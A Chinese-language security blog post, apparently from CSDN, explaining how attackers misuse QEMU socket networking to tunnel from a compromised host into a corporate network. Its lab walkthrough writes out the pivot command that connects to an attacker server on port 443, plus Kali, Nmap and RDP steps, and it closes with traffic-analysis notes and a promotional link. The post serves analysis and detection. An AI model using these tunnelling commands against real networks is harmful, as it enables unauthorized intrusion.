摘要
黑客在执行各种攻击步骤时倾向于优先选择合法工具,因为这些工具能帮助他们规避检测系统,同时将恶意软件开发成本降至最低。网络扫描、捕获进程内存转储、数据外泄、远程运行文件,甚至加密驱动器——所有这些都可以通过可信软件完成。为了在受损基础设施内获得立足点并发起攻击,黑客可以利用先前安装的恶意软件或通过公司的远程桌面协议(RDP)服务器或企业VPN与员工一同连接到网络(攻击者必须拥有具有适当权限的账户)。连接到受攻击组织的内部网络的另一种方式涉及使用实用程序设置网络隧道或在企业系统和对手服务器之间转发网络端口,从而使攻击者能够绕过NAT和防火墙,获取对内部系统的访问权限。本片文章讲述就是这类软件。
QEMU利用方法
先来看一段命令行, 该命令可以在没有LiveCD或磁盘映像的情况下启动:
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev
socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev
hubport,id=port-sock,hubid=0,netdev=sock -nographic
该命令的参数解释如下:
-
qemu-system-i386.exe
: QEMU系统的可执行文件。 -
-m 1M
: 指定虚拟机的内存大小为1MB。这里指定的内存量非常小,可以模拟某些特定场景或测试用途。 -
-netdev user,id=lan,restrict=off
: 创建一个用户模式网络设备,其ID为lan
,并且禁用了限制(restrict=off
)。用户模式网络设备允许虚拟机通过主机的网络连接到外部网络。 -
-netdev socket,id=sock,connect=<IP>:443
: 创建一个基于Socket的网络设备,其ID为sock
,并且连接到指定IP地址和端口443。可用于与远程服务器建立网络通信。 -
-netdev hubport,id=port-lan,hubid=0,netdev=lan
: 创建一个网络集线器端口,其ID为port-lan
,并将其连接到ID为lan
的网络设备。 -
-netdev hubport,id=port-sock,hubid=0,netdev=sock
: 创建另一个网络集线器端口,其ID为port-sock
,并将其连接到ID为sock
的网络设备。 -
-nographic
: 这个参数指定不使用图形界面显示虚拟机的输出。通常用于在没有图形界面的环境中运行虚拟机,比如通过SSH连接。
通过上面的命令, 攻击者可以启动一个非常小的QEMU虚拟机, 该虚拟机具有一个基于用户模式的网络设备和一个基于Socket的网络设备, 可以用于建立到指定IP地址和端口的网络连接。
根据QEMU文档描述, QEMU与QEMU虚拟机之间是可以进行远程网络连接的, 如果攻击者攻入一个企业内部, 该企业内部正好也使用了QEMU虚拟机, 那么攻击者便可以建立外网QEMU与企业内网QEMU之间的网络连接。
用户网络堆栈和虚拟集线器
用户网络堆栈式将虚拟机连接到网络的最简单方法, 流量通过主机网络堆栈传递, 虚拟机连接到网络, 就好像它是主机机器上的常规应用程序一样。看下面这条命令:
qemu-system-x86_64 -netdev user,id=mynet0 -device e1000,netdev=mynet0
该命令参数含义如下:
-
qemu-system-x86_64
: QEMU系统的可执行文件,用于启动x86_64架构的虚拟机。 -
-netdev user,id=mynet0
: 创建一个用户模式网络设备,其ID为mynet0
。用户模式网络设备允许虚拟机通过主机的网络连接到外部网络。 -
-device e1000,netdev=mynet0
: 创建一个e1000型号的网络设备,并将其连接到ID为mynet0
的网络设备。e1000是一种虚拟网卡设备,常用于QEMU虚拟机中模拟以太网连接。
该命令启动了一个QEMU虚拟机,该虚拟机具有一个用户模式的网络设备,允许连接到外部网络,并使用e1000型号的网络设备模拟以太网连接。
QEMU虚拟集线器是一种网络设备,用于在QEMU虚拟机之间建立网络连接。它类似于物理网络集线器,可以将多个虚拟机连接到同一个网络中,从而实现虚拟机之间的通信。通过虚拟集线器,虚拟机可以进行网络数据包的交换和传输,就像它们连接到同一个物理网络设备一样。虚拟集线器通常与其他网络设备配合使用,如虚拟网络适配器和套接字,以便在虚拟环境中模拟网络通信。
QEMU Socket
这种方式是通过网络套接字连接虚拟机, 以创建虚拟机网络拓扑或链接在不同主机上启动的虚拟机。
首先启动一个VM1, 命令如下:
qemu-system-x86_64 -netdev socket,id=mynet3,listen=:1234 -device e1000,netdev=mynet3
然后启动一个VM2, 并连接到VM1,命令如下:
qemu-system-x86_64 -netdev socket,id=mynet4,connect=127.0.0.1:1234 -device
e1000,netdev=mynet4
VM1在端口1234上监听,而VM2连接到该端口, 对于攻击者来说, 相当于在受害系统中启动一个客户端, 让它连接到攻击者服务器以打开对企业网络的访问权限, 该网络位于运行客户端的系统中, 这种方式几乎不会影响受害系统的性能, 因为攻击者在运行QEMU时既不会使用磁盘映像也不使用LiveCD。
下面将通过一个模拟环境来模拟实现上面技术, 模拟的网络环境主要包含三个部分:
-
InternalHost位于网络内部,没有互联网访问权限,并在端口3389上运行RDP服务器。它模拟了无法访问互联网的隔离系统。
-
PivotHost位于网络内部,但具有互联网访问权限。它模拟了被攻击者入侵并用于到达InternalHost的系统。
-
AttackerServer托管在云中,模拟了攻击者服务器。
以下是模拟环境的网络布局情况, 如图:
在以上环境中, 在攻击者服务器上使用QEMU启动了一个来自Kali Linux LiveCD的虚拟机, 一个套接字类型的网络设备连接到虚拟机作为网络适配器, 并在端口443上进行监听。启动命令如下:
qemu-system-x86_64 -boot d -cdrom kali-linux-2023.3-live-amd64.iso -m 6048 -device
e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 2 -netdev socket,id=n1,listen=:443
在PivotHost上运行了另一个QEMU副本,并通过套接字网络设备连接到位于云端的AttackerServer的443端口。此外还连接了一个用户类型的网络设备,通过一个集线器与套接字连接在一起。启动命令如下:
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev
socket,id=sock,connect=<AttackerServer>:443 -netdev hubport,id=port-
lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic
一旦启动,QEMU在PivotHost和攻击者服务器之间建立了一个网络隧道,更确切地说,是到Kali Linux虚拟机。Kali Linux可以扫描与PivotHost连接的子网以查找其他系统, 如图:
扫描发现了内部主机,其IP地址为192.168.56.109。Nmap显示端口3389是开放的。尝试使用RDP连接到内部主机, 如图:
因此,基本可以确定这种实现网络访问的技术确实有效。除了前面提到的网络设备类型外,QEMU还支持其他几种类型,这些类型也可以被恶意行为者利用。
QEMU网络流量分析
进行流量隧道传输时,QEMU不使用任何额外的加密。它传输封装的数据包是未加密的:发送到服务器的应用层数据包含封装的以太网帧的大小,如图:
上图中封装的以太网帧大小为89(0x59)字节。该值紧随其后的就是封装的以太网帧数据。
将流量进行存储,随后可以通过移除前58个字节(对于TCP:14个字节用于以太网 + 20个字节用于IP + 20个字节用于TCP头 + 4用于内部数据包大小)来获得封装的流量。这可以在从PCAP文件中删除所有不含封装流量的数据包之后,使用Wireshark软件包中的editcap程序来完成。命令如下:
editcap.exe -L -C 58 original.pcap extracted_traffic.pcap
结果是一个PCAP文件,其中包含通过隧道发送的流量, 如图:
为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享